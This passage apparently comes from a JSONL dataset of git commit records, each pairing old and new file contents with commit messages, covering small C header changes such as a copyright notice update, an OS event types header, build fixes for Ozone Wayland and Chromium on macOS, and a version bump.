earch,mlyundin\/tornado,jparise\/tornado,sevenguin\/tornado,NoyaInRain\/tornado,mlyundin\/tornado,liqueur\/tornado,eklitzke\/tornado,ubear\/tornado,dsseter\/tornado,jsjohnst\/tornado,jarrahwu\/tornado,jarrahwu\/tornado,bywbilly\/tornado,erichuang1994\/tornado,codecov\/tornado,mr-ping\/tornado,ovidiucp\/tornado,BencoLee\/tornado,Acidburn0zzz\/tornado,yuyangit\/tornado,pombredanne\/tornado,obsh\/tornado,jonashagstedt\/tornado,codeb2cc\/tornado,zguangyu\/tornado,noxiouz\/tornado,leekchan\/tornado_test,lsanotes\/tornado,304471720\/tornado,VShangxiao\/tornado,0x73\/tornado,johan--\/tornado,ydaniv\/tornado,jehiah\/tornado,gitchs\/tornado,Geoion\/tornado,wechasing\/tornado,ms7s\/tornado,kangbiao\/tornado,lujinda\/tornado,jampp\/tornado,hzruandd\/tornado,shashankbassi92\/tornado,insflow\/tornado,gitchs\/tornado,Geoion\/tornado,codeb2cc\/tornado,coderhaoxin\/tornado,bywbilly\/tornado,0xkag\/tornado,liqueur\/tornado,fengsp\/tornado,kaushik94\/tornado,Callwoola\/tornado,SuminAndrew\/tornado,noxiouz\/tornado,wujuguang\/tornado,ColorFuzzy\/tornado,kevinge314gh\/tornado,drewmiller\/tornado,elelianghh\/tornado,shaohung001\/tornado,felixonmars\/tornado,jparise\/tornado,futurechallenger\/tornado,anjan-srivastava\/tornado,eXcomm\/tornado,wechasing\/tornado,dongpinglai\/my_tornado,legnaleurc\/tornado,chenxiaba\/tornado,icejoywoo\/tornado,hhru\/tornado,akalipetis\/tornado,z-fork\/tornado,gitchs\/tornado,obsh\/tornado,ymero\/tornado,wsyzxcn\/tornado,yuezhonghua\/tornado,wechasing\/tornado,tianyk\/tornado-research,xinyu7\/tornado,elelianghh\/tornado,ajdavis\/tornado,erichuang1994\/tornado,anjan-srivastava\/tornado,hhru\/tornado,kevinge314gh\/tornado,anjan-srivastava\/tornado,zhuochenKIDD\/tornado,wsyzxcn\/tornado,fengshao0907\/tornado,jonashagstedt\/tornado,ifduyue\/tornado,yuyangit\/tornado,sxfmol\/tornado,Fydot\/tornado,lujinda\/tornado,zhuochenKIDD\/tornado,Snamint\/tornado,xinyu7\/tornado,nbargnesi\/tornado,elijah513\/tornado,jparise\/tornado,andyaguiar\/tornado,Drooids\/tornado,cyrusin\/tornado,chenxiaba\/tornado,jsjohnst\/tornado,akalipetis\/tornado,johan--\/tornado,xinyu7\/tornado,QuanZag\/tornado,fengsp\/tornado,kangbiao\/tornado,hhru\/tornado,jparise\/tornado,MjAbuz\/tornado,xinyu7\/tornado,ms7s\/tornado,ifduyue\/tornado,insflow\/tornado,frtmelody\/tornado,jehiah\/tornado,importcjj\/tornado,z-fork\/tornado,felixonmars\/tornado,erichuang1994\/tornado,shaohung001\/tornado,Callwoola\/tornado,sunjeammy\/tornado,mlyundin\/tornado,Batterfii\/tornado,mr-ping\/tornado,wujuguang\/tornado,leekchan\/tornado_test,jampp\/tornado,shaohung001\/tornado,wechasing\/tornado,Callwoola\/tornado,Acidburn0zzz\/tornado,ovidiucp\/tornado,Callwoola\/tornado,SuminAndrew\/tornado,shaohung001\/tornado,icejoywoo\/tornado,lilydjwg\/tornado,InverseLina\/tornado,ydaniv\/tornado,mehmetkose\/tornado,304471720\/tornado,sevenguin\/tornado,gwillem\/tornado,ajdavis\/tornado,LTD-Beget\/tornado,yangkf1985\/tornado,z-fork\/tornado,mehmetkose\/tornado,0xkag\/tornado,mlyundin\/tornado,bdarnell\/tornado,felixonmars\/tornado,sevenguin\/tornado,nephics\/tornado,Drooids\/tornado,nordaux\/tornado,leekchan\/tornado_test,hzruandd\/tornado,jsjohnst\/tornado,Aaron1992\/tornado,eXcomm\/tornado,takeshineshiro\/tornado,Snamint\/tornado,zguangyu\/tornado,yangkf1985\/tornado,BencoLee\/tornado,ubear\/tornado,yangkf1985\/tornado,frtmelody\/tornado,QuanZag\/tornado,nordaux\/tornado,Windsooon\/tornado,Batterfii\/tornado,kevinge314gh\/tornado,yuezhonghua\/tornado,whip112\/tornado,mivade\/tornado,ovidiucp\/tornado,kippandrew\/tornado,tornadoweb\/tornado,cyrilMargaria\/tornado,akalipetis\/tornado,tornadoweb\/tornado,mehmetkose\/tornado,Aaron1992\/tornado,jonashagstedt\/tornado,anandology\/tornado,AlphaStaxLLC\/tornado,hzruandd\/tornado,jehiah\/tornado,ydaniv\/tornado,legnaleurc\/tornado,Acidburn0zzz\/tornado,coderhaoxin\/tornado,AlphaStaxLLC\/tornado,Batterfii\/tornado,z-fork\/tornado,Fydot\/tornado,fengshao0907\/tornado,liqueur\/tornado,whip112\/tornado,ZhuPeng\/tornado,lsanotes\/tornado,BencoLee\/tornado,Snamint\/tornado,coderhaoxin\/tornado,drewmiller\/tornado,ms7s\/tornado,ydaniv\/tornado,0xkag\/tornado,felixonmars\/tornado,legnaleurc\/tornado,Snamint\/tornado,obsh\/tornado,ms7s\/tornado,ZhuPeng\/tornado,AlphaStaxLLC\/tornado,bywbilly\/tornado,ColorFuzzy\/tornado,ubear\/tornado,lujinda\/tornado,anandology\/tornado,leekchan\/tornado_test,MjAbuz\/tornado,bywbilly\/tornado,sxfmol\/tornado,shaohung001\/tornado,johan--\/tornado,Snamint\/tornado,lujinda\/tornado,BencoLee\/tornado,mivade\/tornado,mr-ping\/tornado,nephics\/tornado,wxhzk\/tornado-1,elelianghh\/tornado,kippandrew\/tornado,zguangyu\/tornado,ColorFuzzy\/tornado,ListFranz\/tornado,dsseter\/tornado,codeb2cc\/tornado,InverseLina\/tornado,Lancher\/tornado,Lancher\/tornado,ifduyue\/tornado,bdarnell\/tornado,wechasing\/tornado,VShangxiao\/tornado,nephics\/tornado,Acidburn0zzz\/tornado,ListFranz\/tornado,akalipetis\/tornado,QuanZag\/tornado,pombredanne\/tornado,yuyangit\/tornado,kippandrew\/tornado,wsyzxcn\/tornado,erichuang1994\/tornado,frtmelody\/tornado,lilydjwg\/tornado,insflow\/tornado,dongpinglai\/my_tornado,ovidiucp\/tornado,BencoLee\/tornado,ubear\/tornado,lujinda\/tornado,NoyaInRain\/tornado,kaushik94\/tornado,zguangyu\/tornado,ubear\/tornado,obsh\/tornado,304471720\/tornado,anandology\/tornado,eklitzke\/tornado,insflow\/tornado,jampp\/tornado,importcjj\/tornado,lilydjwg\/tornado,wxhzk\/tornado-1,nbargnesi\/tornado,wsyzxcn\/tornado,insflow\/tornado,akalipetis\/tornado,takeshineshiro\/tornado"}
{"commit":"490a3468fb50601f00e56965a531f0bbb804f806","old_file":"Python\/getcopyright.c","new_file":"Python\/getcopyright.c","old_contents":"\/* Return the copyright string.  This is updated manually. *\/\n\n#include \"Python.h\"\n\nstatic char cprt[] = \n\"Copyright (c) 2000 BeOpen.com.\\n\\\nAll Rights Reserved.\\n\\\n\\n\\\nCopyright (c) 1995-2000 Corporation for National Research Initiatives.\\n\\\nAll Rights Reserved.\\n\\\n\\n\\\nCopyright (c) 1991-1995 Stichting Mathematisch Centrum, Amsterdam.\\n\\\nAll Rights Reserved.\";\n\nconst char *\nPy_GetCopyright(void)\n{\n\treturn cprt;\n}\n","new_contents":"\/* Return the copyright string.  This is updated manually. *\/\n\n#include \"Python.h\"\n\nstatic char cprt[] = \n\"\\\nCopyright (c) 2000, 2001 Guido van Rossum.\\n\\\nAll Rights Reserved.\\n\\\n\\n\\\nCopyright (c) 2000 BeOpen.com.\\n\\\nAll Rights Reserved.\\n\\\n\\n\\\nCopyright (c) 1995-2000 Corporation for National Research Initiatives.\\n\\\nAll Rights Reserved.\\n\\\n\\n\\\nCopyright (c) 1991-1995 Stichting Mathematisch Centrum, Amsterdam.\\n\\\nAll Rights Reserved.\";\n\nconst char *\nPy_GetCopyright(void)\n{\n\treturn cprt;\n}\n","subject":"Add my name to the copyright notice.","message":"Add my name to the copyright notice.\n","lang":"C","license":"mit","repos":"sk-\/python2.7-type-annotator,sk-\/python2.7-type-annotator,sk-\/python2.7-type-annotator"}
{"commit":"8727a3517c834cb9e4929de70ad0571038b0cc0f","old_file":"engine\/os\/OsTypes.h","new_file":"engine\/os\/OsTypes.h","old_contents":"","new_contents":"\/*\nCopyright (c) 2013 Daniele Bartolini, Michele Rossi\nCopyright (c) 2012 Daniele Bartolini, Simone Boscaratto\n\nPermission is hereby granted, free of charge, to any person\nobtaining a copy of this software and associated documentation\nfiles (the \"Software\"), to deal in the Software without\nrestriction, including without limitation the rights to use,\ncopy, modify, merge, publish, distribute, sublicense, and\/or sell\ncopies of the Software, and to permit persons to whom the\nSoftware is furnished to do so, subject to the following\nconditions:\n\nThe above copyright notice and this permission notice shall be\nincluded in all copies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,\nEXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES\nOF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND\nNONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT\nHOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,\nWHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING\nFROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR\nOTHER DEALINGS IN THE SOFTWARE.\n*\/\n\n#pragma once\n\n#include \"Types.h\"\n\nnamespace crown\n{\n\n\/\/\/ Represents an event fired by the OS\nenum OsEventType\n{\n\tOSET_NONE\t\t\t\t= 0,\n\n\tOSET_KEY_PRESS\t\t\t= 1,\n\tOSET_KEY_RELEASE\t\t= 2,\n\n\tOSET_BUTTON_PRESS\t\t= 3,\n\tOSET_BUTTON_RELEASE\t\t= 4,\n\n\tOSET_MOTION_NOTIFY\t\t= 5,\n\tOSET_TOUCH_DOWN\t\t\t= 6,\n\tOSET_TOUCH_MOVE\t\t\t= 7,\n\tOSET_TOUCH_UP\t\t\t= 8,\n\t\n\tOSET_ACCELEROMETER\t\t= 9\n};\n\n\/\/\/ Represents an event fired by mouse.\nstruct OsMouseEvent\n{\n\tuint32_t button;\n\tuint32_t x;\n\tuint32_t y;\n};\n\n\/\/\/ Represents an event fired by keyboard.\nstruct OsKeyboardEvent\n{\n\tuint32_t key;\n\tuint32_t modifier;\n};\n\n\/\/\/ Represents an event fired by touch screen.\nstruct OsTouchEvent\n{\n\tuint32_t pointer_id;\n\tuint32_t x;\n\tuint32_t y;\n};\n\n\/\/\/ Represents an event fired by accelerometer.\nstruct OsAccelerometerEvent\n{\n\tfloat x;\n\tfloat y;\n\tfloat z;\t\n};\n\n} \/\/ namespace crown\n","subject":"Fix documentation: DO NOT USE __ to emphasize text","message":"Fix documentation: DO NOT USE __ to emphasize text\n","lang":"C","license":"mit","repos":"taylor001\/crown,mikymod\/crown,galek\/crown,galek\/crown,dbartolini\/crown,galek\/crown,mikymod\/crown,galek\/crown,taylor001\/crown,dbartolini\/crown,mikymod\/crown,taylor001\/crown,dbartolini\/crown,mikymod\/crown,dbartolini\/crown,taylor001\/crown"}
{"commit":"b151044a0d9307e4ab78c9b63c334604fbed41d6","old_file":"platform\/ozone_platform_wayland.h","new_file":"platform\/ozone_platform_wayland.h","old_contents":"\/\/ Copyright (c) 2013 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef OZONE_PLATFORM_OZONE_PLATFORM_WAYLAND_H_\n#define OZONE_PLATFORM_OZONE_PLATFORM_WAYLAND_H_\n\nnamespace ui {\n\nclass OzonePlatform;\n\n\/\/ Constructor hook for use in ozone_platform_list.cc\nOzonePlatform* CreateOzonePlatformWayland();\n\n}  \/\/ namespace ui\n\n#endif  \/\/ OZONE_PLATFORM_OZONE_PLATFORM_WAYLAND_H_\n","new_contents":"\/\/ Copyright (c) 2013 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef OZONE_PLATFORM_OZONE_PLATFORM_WAYLAND_H_\n#define OZONE_PLATFORM_OZONE_PLATFORM_WAYLAND_H_\n\n#include \"ozone\/platform\/ozone_export_wayland.h\"\n\nnamespace ui {\n\nclass OzonePlatform;\n\n\/\/ Constructor hook for use in ozone_platform_list.cc\nOZONE_WAYLAND_EXPORT OzonePlatform* CreateOzonePlatformWayland();\n\n}  \/\/ namespace ui\n\n#endif  \/\/ OZONE_PLATFORM_OZONE_PLATFORM_WAYLAND_H_\n","subject":"Fix shared_component build for Ozone platform.","message":"Fix shared_component build for Ozone platform.\n\nThis patch makes necessary changes in Ozone Wayland code base to fix\nshared_component build.\n","lang":"C","license":"bsd-3-clause","repos":"Tarnyko\/ozone-wayland,baillaw\/ozone-wayland,qjia7\/ozone-wayland,kalyankondapally\/ozone-wayland,kuscsik\/ozone-wayland,hongzhang-yan\/ozone-wayland,baillaw\/ozone-wayland,racarr-ubuntu\/ozone-mir,qjia7\/ozone-wayland,sjnewbury\/ozone-wayland,siteshwar\/ozone-wayland,01org\/ozone-wayland,01org\/ozone-wayland,nagineni\/ozone-wayland,kishansheshagiri\/ozone-wayland,shaochangbin\/ozone-wayland,siteshwar\/ozone-wayland,rakuco\/ozone-wayland,AndriyP\/ozone-wayland,kuscsik\/ozone-wayland,likewise\/ozone-wayland,nagineni\/ozone-wayland,kalyankondapally\/ozone-wayland,joone\/ozone-wayland,darktears\/ozone-wayland,kalyankondapally\/ozone-wayland,darktears\/ozone-wayland,tiagovignatti\/ozone-wayland,AndriyP\/ozone-wayland,Tarnyko\/ozone-wayland,mrunalk\/ozone-wayland,clopez\/ozone-wayland,shaochangbin\/ozone-wayland,kishansheshagiri\/ozone-wayland,joone\/ozone-wayland,tiagovignatti\/ozone-wayland,tiagovignatti\/ozone-wayland,hongzhang-yan\/ozone-wayland,siteshwar\/ozone-wayland,mrunalk\/ozone-wayland,darktears\/ozone-wayland,tiagovignatti\/ozone-wayland,nicoguyo\/ozone-wayland,mrunalk\/ozone-wayland,joone\/ozone-wayland,shaochangbin\/ozone-wayland,racarr-ubuntu\/ozone-mir,nagineni\/ozone-wayland,AndriyP\/ozone-wayland,likewise\/ozone-wayland,nicoguyo\/ozone-wayland,rakuco\/ozone-wayland,rakuco\/ozone-wayland,siteshwar\/ozone-wayland,kuscsik\/ozone-wayland,joone\/ozone-wayland,clopez\/ozone-wayland,darktears\/ozone-wayland,sjnewbury\/ozone-wayland,mrunalk\/ozone-wayland,rakuco\/ozone-wayland,01org\/ozone-wayland,kuscsik\/ozone-wayland,sjnewbury\/ozone-wayland,sjnewbury\/ozone-wayland,Tarnyko\/ozone-wayland,01org\/ozone-wayland,clopez\/ozone-wayland,racarr-ubuntu\/ozone-mir,racarr-ubuntu\/ozone-mir,clopez\/ozone-wayland,kishansheshagiri\/ozone-wayland,nicoguyo\/ozone-wayland,Tarnyko\/ozone-wayland,qjia7\/ozone-wayland,kalyankondapally\/ozone-wayland,kishansheshagiri\/ozone-wayland,likewise\/ozone-wayland,likewise\/ozone-wayland,nicoguyo\/ozone-wayland,hongzhang-yan\/ozone-wayland,shaochangbin\/ozone-wayland,nagineni\/ozone-wayland,baillaw\/ozone-wayland,qjia7\/ozone-wayland,AndriyP\/ozone-wayland,baillaw\/ozone-wayland,hongzhang-yan\/ozone-wayland"}
{"commit":"ca31b33140cddb563d9e7749bd75a9d3763c5908","old_file":"lib\/libncp\/ncp_mod.h","new_file":"lib\/libncp\/ncp_mod.h","old_contents":"\/*\n * Describes all ncp_lib kernel functions\n *\n * $FreeBSD$\n *\/\n#ifndef _NCP_MOD_H_\n#define _NCP_MOD_H_\n\n\/* order of calls in syscall table relative to offset in system table *\/\n#define\tNCP_SE(callno)\t\t(callno+sysentoffset)\n#define\tNCP_CONNSCAN\t\tNCP_SE(0)\n#define\tNCP_CONNECT\t\tNCP_SE(1)\n#define\tNCP_INTFN\t\tNCP_SE(2)\n#define\tSNCP_REQUEST\t\tNCP_SE(3)\n\n#endif \/* !_NCP_MOD_H_ *\/","new_contents":"\/*\n * Describes all ncp_lib kernel functions\n *\n * $FreeBSD$\n *\/\n#ifndef _NCP_MOD_H_\n#define _NCP_MOD_H_\n\n\/* order of calls in syscall table relative to offset in system table *\/\n#define\tNCP_SE(callno)\t\t(callno+sysentoffset)\n#define\tNCP_CONNSCAN\t\tNCP_SE(0)\n#define\tNCP_CONNECT\t\tNCP_SE(1)\n#define\tNCP_INTFN\t\tNCP_SE(2)\n#define\tSNCP_REQUEST\t\tNCP_SE(3)\n\n#endif \/* !_NCP_MOD_H_ *\/\n","subject":"Add missing newline at end of file.","message":"Add missing newline at end of file.\n","lang":"C","license":"bsd-3-clause","repos":"jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase"}
{"commit":"94710706b818acd113d6f56c0cdaa787f13b74eb","old_file":"content\/common\/gpu\/surface_handle_types_mac.h","new_file":"content\/common\/gpu\/surface_handle_types_mac.h","old_contents":"\/\/ Copyright 2014 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef CONTENT_COMMON_GPU_SURFACE_HANDLE_TYPES_MAC_H_\n#define CONTENT_COMMON_GPU_SURFACE_HANDLE_TYPES_MAC_H_\n\n#include <OpenGL\/CGLIOSurface.h>\n\n#include \"base\/basictypes.h\"\n#include \"ui\/base\/cocoa\/remote_layer_api.h\"\n\nnamespace content {\n\n\/\/ The surface handle passed between the GPU and browser process may refer to\n\/\/ an IOSurface or a CAContext. These helper functions must be used to identify\n\/\/ and translate between the types.\nenum SurfaceHandleType {\n  kSurfaceHandleTypeInvalid,\n  kSurfaceHandleTypeIOSurface,\n  kSurfaceHandleTypeCAContext,\n};\n\nSurfaceHandleType GetSurfaceHandleType(uint64 surface_handle);\n\nCAContextID CAContextIDFromSurfaceHandle(uint64 surface_handle);\nIOSurfaceID IOSurfaceIDFromSurfaceHandle(uint64 surface_handle);\n\nuint64 SurfaceHandleFromIOSurfaceID(IOSurfaceID io_surface_id);\nuint64 SurfaceHandleFromCAContextID(CAContextID ca_context_id);\n\n}  \/\/  namespace content\n\n#endif \/\/ CONTENT_COMMON_GPU_HANDLE_TYPES_MAC_H_\n","new_contents":"\/\/ Copyright 2014 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef CONTENT_COMMON_GPU_SURFACE_HANDLE_TYPES_MAC_H_\n#define CONTENT_COMMON_GPU_SURFACE_HANDLE_TYPES_MAC_H_\n\n#include <IOSurface\/IOSurface.h>\n#include <OpenGL\/CGLIOSurface.h>\n\n#include \"base\/basictypes.h\"\n#include \"ui\/base\/cocoa\/remote_layer_api.h\"\n\nnamespace content {\n\n\/\/ The surface handle passed between the GPU and browser process may refer to\n\/\/ an IOSurface or a CAContext. These helper functions must be used to identify\n\/\/ and translate between the types.\nenum SurfaceHandleType {\n  kSurfaceHandleTypeInvalid,\n  kSurfaceHandleTypeIOSurface,\n  kSurfaceHandleTypeCAContext,\n};\n\nSurfaceHandleType GetSurfaceHandleType(uint64 surface_handle);\n\nCAContextID CAContextIDFromSurfaceHandle(uint64 surface_handle);\nIOSurfaceID IOSurfaceIDFromSurfaceHandle(uint64 surface_handle);\n\nuint64 SurfaceHandleFromIOSurfaceID(IOSurfaceID io_surface_id);\nuint64 SurfaceHandleFromCAContextID(CAContextID ca_context_id);\n\n}  \/\/  namespace content\n\n#endif \/\/ CONTENT_COMMON_GPU_HANDLE_TYPES_MAC_H_\n","subject":"Fix build on OSX 10.9.","message":"Fix build on OSX 10.9.\n\nThis fixes a build error on OSX 10.9 introduced by\nhttps:\/\/codereview.chromium.org\/347653005\/\n\nBUG=388160\nTBR=ccameron@chromium.org,piman@chromium.org,avi@chromium.org\n\nReview URL: https:\/\/codereview.chromium.org\/350833002\n\ngit-svn-id: de016e52bd170d2d4f2344f9bf92d50478b649e0@279428 0039d316-1c4b-4281-b951-d872f2087c98\n","lang":"C","license":"bsd-3-clause","repos":"crosswalk-project\/chromium-crosswalk-efl,ondra-novak\/chromium.src,Just-D\/chromium-1,dushu1203\/chromium.src,dushu1203\/chromium.src,dushu1203\/chromium.src,dednal\/chromium.src,chuan9\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,Just-D\/chromium-1,littlstar\/chromium.src,ondra-novak\/chromium.src,Pluto-tv\/chromium-crosswalk,hgl888\/chromium-crosswalk,TheTypoMaster\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,TheTypoMaster\/chromium-crosswalk,chuan9\/chromium-crosswalk,Chilledheart\/chromium,markYoungH\/chromium.src,hgl888\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,hgl888\/chromium-crosswalk-efl,Fireblend\/chromium-crosswalk,dednal\/chromium.src,bright-sparks\/chromium-spacewalk,littlstar\/chromium.src,hgl888\/chromium-crosswalk-efl,Jonekee\/chromium.src,dushu1203\/chromium.src,jaruba\/chromium.src,TheTypoMaster\/chromium-crosswalk,markYoungH\/chromium.src,dednal\/chromium.src,dushu1203\/chromium.src,bright-sparks\/chromium-spacewalk,M4sse\/chromium.src,hgl888\/chromium-crosswalk,M4sse\/chromium.src,dushu1203\/chromium.src,Chilledheart\/chromium,mohamed--abdel-maksoud\/chromium.src,Just-D\/chromium-1,Pluto-tv\/chromium-crosswalk,Just-D\/chromium-1,ondra-novak\/chromium.src,dednal\/chromium.src,Chilledheart\/chromium,dushu1203\/chromium.src,markYoungH\/chromium.src,M4sse\/chromium.src,bright-sparks\/chromium-spacewalk,chuan9\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,bright-sparks\/chromium-spacewalk,hgl888\/chromium-crosswalk-efl,ltilve\/chromium,ltilve\/chromium,ondra-novak\/chromium.src,Pluto-tv\/chromium-crosswalk,chuan9\/chromium-crosswalk,axinging\/chromium-crosswalk,hgl888\/chromium-crosswalk,jaruba\/chromium.src,ondra-novak\/chromium.src,fujunwei\/chromium-crosswalk,hgl888\/chromium-crosswalk,crosswalk-project\/chromium-crosswalk-efl,hgl888\/chromium-crosswalk-efl,hgl888\/chromium-crosswalk,Fireblend\/chromium-crosswalk,chuan9\/chromium-crosswalk,Fireblend\/chromium-crosswalk,markYoungH\/chromium.src,fujunwei\/chromium-crosswalk,ltilve\/chromium,Jonekee\/chromium.src,Jonekee\/chromium.src,M4sse\/chromium.src,markYoungH\/chromium.src,krieger-od\/nwjs_chromium.src,dednal\/chromium.src,crosswalk-project\/chromium-crosswalk-efl,PeterWangIntel\/chromium-crosswalk,ondra-novak\/chromium.src,Chilledheart\/chromium,krieger-od\/nwjs_chromium.src,fujunwei\/chromium-crosswalk,chuan9\/chromium-crosswalk,chuan9\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,mohamed--abdel-maksoud\/chromium.src,markYoungH\/chromium.src,Fireblend\/chromium-crosswalk,jaruba\/chromium.src,dushu1203\/chromium.src,Fireblend\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,Fireblend\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,bright-sparks\/chromium-spacewalk,axinging\/chromium-crosswalk,Pluto-tv\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,M4sse\/chromium.src,Fireblend\/chromium-crosswalk,axinging\/chromium-crosswalk,Fireblend\/chromium-crosswalk,dednal\/chromium.src,krieger-od\/nwjs_chromium.src,PeterWangIntel\/chromium-crosswalk,littlstar\/chromium.src,Jonekee\/chromium.src,TheTypoMaster\/chromium-crosswalk,bright-sparks\/chromium-spacewalk,Chilledheart\/chromium,Pluto-tv\/chromium-crosswalk,TheTypoMaster\/chromium-crosswalk,M4sse\/chromium.src,dednal\/chromium.src,Jonekee\/chromium.src,krieger-od\/nwjs_chromium.src,ondra-novak\/chromium.src,TheTypoMaster\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,crosswalk-project\/chromium-crosswalk-efl,M4sse\/chromium.src,littlstar\/chromium.src,crosswalk-project\/chromium-crosswalk-efl,dednal\/chromium.src,dushu1203\/chromium.src,crosswalk-project\/chromium-crosswalk-efl,axinging\/chromium-crosswalk,M4sse\/chromium.src,littlstar\/chromium.src,PeterWangIntel\/chromium-crosswalk,Jonekee\/chromium.src,jaruba\/chromium.src,jaruba\/chromium.src,fujunwei\/chromium-crosswalk,fujunwei\/chromium-crosswalk,Jonekee\/chromium.src,jaruba\/chromium.src,markYoungH\/chromium.src,mohamed--abdel-maksoud\/chromium.src,TheTypoMaster\/chromium-crosswalk,crosswalk-project\/chromium-crosswalk-efl,dednal\/chromium.src,chuan9\/chromium-crosswalk,dushu1203\/chromium.src,ltilve\/chromium,dushu1203\/chromium.src,TheTypoMaster\/chromium-crosswalk,Just-D\/chromium-1,hgl888\/chromium-crosswalk-efl,PeterWangIntel\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,littlstar\/chromium.src,ltilve\/chromium,axinging\/chromium-crosswalk,dednal\/chromium.src,littlstar\/chromium.src,hgl888\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,hgl888\/chromium-crosswalk-efl,jaruba\/chromium.src,markYoungH\/chromium.src,Pluto-tv\/chromium-crosswalk,jaruba\/chromium.src,jaruba\/chromium.src,axinging\/chromium-crosswalk,hgl888\/chromium-crosswalk,fujunwei\/chromium-crosswalk,dednal\/chromium.src,bright-sparks\/chromium-spacewalk,Chilledheart\/chromium,Chilledheart\/chromium,PeterWangIntel\/chromium-crosswalk,hgl888\/chromium-crosswalk-efl,ltilve\/chromium,chuan9\/chromium-crosswalk,Jonekee\/chromium.src,Just-D\/chromium-1,Just-D\/chromium-1,Jonekee\/chromium.src,krieger-od\/nwjs_chromium.src,Pluto-tv\/chromium-crosswalk,M4sse\/chromium.src,Just-D\/chromium-1,ltilve\/chromium,crosswalk-project\/chromium-crosswalk-efl,Fireblend\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,PeterWangIntel\/chromium-crosswalk,Chilledheart\/chromium,M4sse\/chromium.src,bright-sparks\/chromium-spacewalk,markYoungH\/chromium.src,jaruba\/chromium.src,markYoungH\/chromium.src,fujunwei\/chromium-crosswalk,ondra-novak\/chromium.src,krieger-od\/nwjs_chromium.src,axinging\/chromium-crosswalk,hgl888\/chromium-crosswalk-efl,mohamed--abdel-maksoud\/chromium.src,PeterWangIntel\/chromium-crosswalk,ondra-novak\/chromium.src,M4sse\/chromium.src,ltilve\/chromium,Chilledheart\/chromium,TheTypoMaster\/chromium-crosswalk,hgl888\/chromium-crosswalk-efl,hgl888\/chromium-crosswalk,Pluto-tv\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,Pluto-tv\/chromium-crosswalk,axinging\/chromium-crosswalk,jaruba\/chromium.src,Just-D\/chromium-1,bright-sparks\/chromium-spacewalk,axinging\/chromium-crosswalk,axinging\/chromium-crosswalk,crosswalk-project\/chromium-crosswalk-efl,krieger-od\/nwjs_chromium.src,Jonekee\/chromium.src,hgl888\/chromium-crosswalk-efl,markYoungH\/chromium.src,Jonekee\/chromium.src,fujunwei\/chromium-crosswalk,ltilve\/chromium,fujunwei\/chromium-crosswalk,littlstar\/chromium.src,axinging\/chromium-crosswalk"}
{"commit":"04ca2f943ec928a383c7a9ab71ffc0d0a583223f","old_file":"UIforETW\/Version.h","new_file":"UIforETW\/Version.h","old_contents":"#pragma once\r\n\r\n\/\/ const float in a header file can lead to duplication of the storage\r\n\/\/ but I don't really care in this case. Just don't do it with a header\r\n\/\/ that is included hundreds of times.\r\nconst float kCurrentVersion = 1.45f;\r\n\r\n\/\/ Put a \"#define VERSION_SUFFIX 'b'\" line here to add a minor version\r\n\/\/ increment that won't trigger the new-version checks, handy for minor\r\n\/\/ releases that I don't want to bother users about.\r\n\/\/#define VERSION_SUFFIX 'b'\r\n","new_contents":"#pragma once\r\n\r\n\/\/ const float in a header file can lead to duplication of the storage\r\n\/\/ but I don't really care in this case. Just don't do it with a header\r\n\/\/ that is included hundreds of times.\r\nconst float kCurrentVersion = 1.46f;\r\n\r\n\/\/ Put a \"#define VERSION_SUFFIX 'b'\" line here to add a minor version\r\n\/\/ increment that won't trigger the new-version checks, handy for minor\r\n\/\/ releases that I don't want to bother users about.\r\n\/\/#define VERSION_SUFFIX 'b'\r\n","subject":"Increase version to 1.46 in preparation for new release","message":"Increase version to 1.46 in preparation for new release\n","lang":"C","license":"apache-2.0","repos":"ariccio\/UIforETW,google\/UIforETW,MikeMarcin\/UIforETW,MikeMarcin\/UIforETW,google\/UIforETW,ariccio\/UIforETW,google\/UIforETW,mwinterb\/UIforETW,MikeMarcin\/UIforETW,mwinterb\/UIforETW,ariccio\/UIforETW,google\/UIforETW,mwinterb\/UIforETW,ariccio\/UIforETW"}
